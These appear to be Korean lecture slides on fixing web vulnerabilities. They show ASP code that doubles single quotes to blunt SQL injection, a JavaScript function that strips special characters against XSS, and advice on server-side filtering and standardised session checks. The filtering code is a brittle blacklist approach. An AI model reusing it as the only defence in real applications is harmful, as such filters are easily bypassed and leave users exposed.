06 웹의 취약점 보완 특수문자 필터링 아이디와 패스워드를 넣는 부분에 ‘문자열을 입력받지 못하도록 ASP 코드를 수정 if check_id="y" then Response.Cookies("user_id")=id Response.Cookies("user_id").Expires = date() + 365 end if id = replace(id,"'","''") password = replace(password,"'","''") if instr(id,"'") or instr(password,"'")Then %> <script language=javascript> alert("입력할 수 없는 문자입니다.\n\n"); history.back(); </script> [그림 4-60] 사용자의 입력을 필터링한 후 SQL 삽입 공격 실패
06 웹의 취약점 보완 특수문자 필터링 XSS 공격은 다음과 같은 함수를 이용해서 본문에 포함되는 주요 특수문자를 제거할 수 있음. function RemoveBad(InStr){ InStr = InStr.replace(/\</g,""); InStr = InStr.replace(/\>/g,""); InStr = InStr.replace(/\&/g,""); InStr = InStr.replace(/\"/g,""); InStr = InStr.replace(/\?/g,""); InStr = InStr.replace(/\'/g,""); InStr = InStr.replace(/\//g,""); return InStr; }
06 웹의 취약점 보완 서버 측 통제 작용 지속적인 세션 관리 CSS 기반의 언어는 웹 프록시를 통해 웹 브라우저에 전달되기 때문에 웹 프록시를 통해 전달되는 과정에서 변 조될 가능성이 있음. 따라서 CSS 기반의 언어로 필터링할 경우 공격자가 필터링 로직만 파악하면 쉽게 필터링이 무력화됨. 필터링 로직은 ASP, JSP 등과 같은 SSS로 필터링을 수행해야 함. 지속적인 세션 관리 URL 접근 제한 실패를 막기 위해서는 기본적으로 모든 웹 페이지에 세션에 대한 인증을 수행해야 함. 모든 웹 페이지에 대해 일관성 있는 인증 로직을 적용하려면 기업 단위에서 또는 웹 사이트 단위에서 세션 인증 로직을 표준화해야 하고, 모든 웹 페이지를 개발할 때 해당 표준을 준수하도록 해야 함. [그림 4-61] 사용자의 입력을 핉터링한 후 SQL 삽입 공격 실패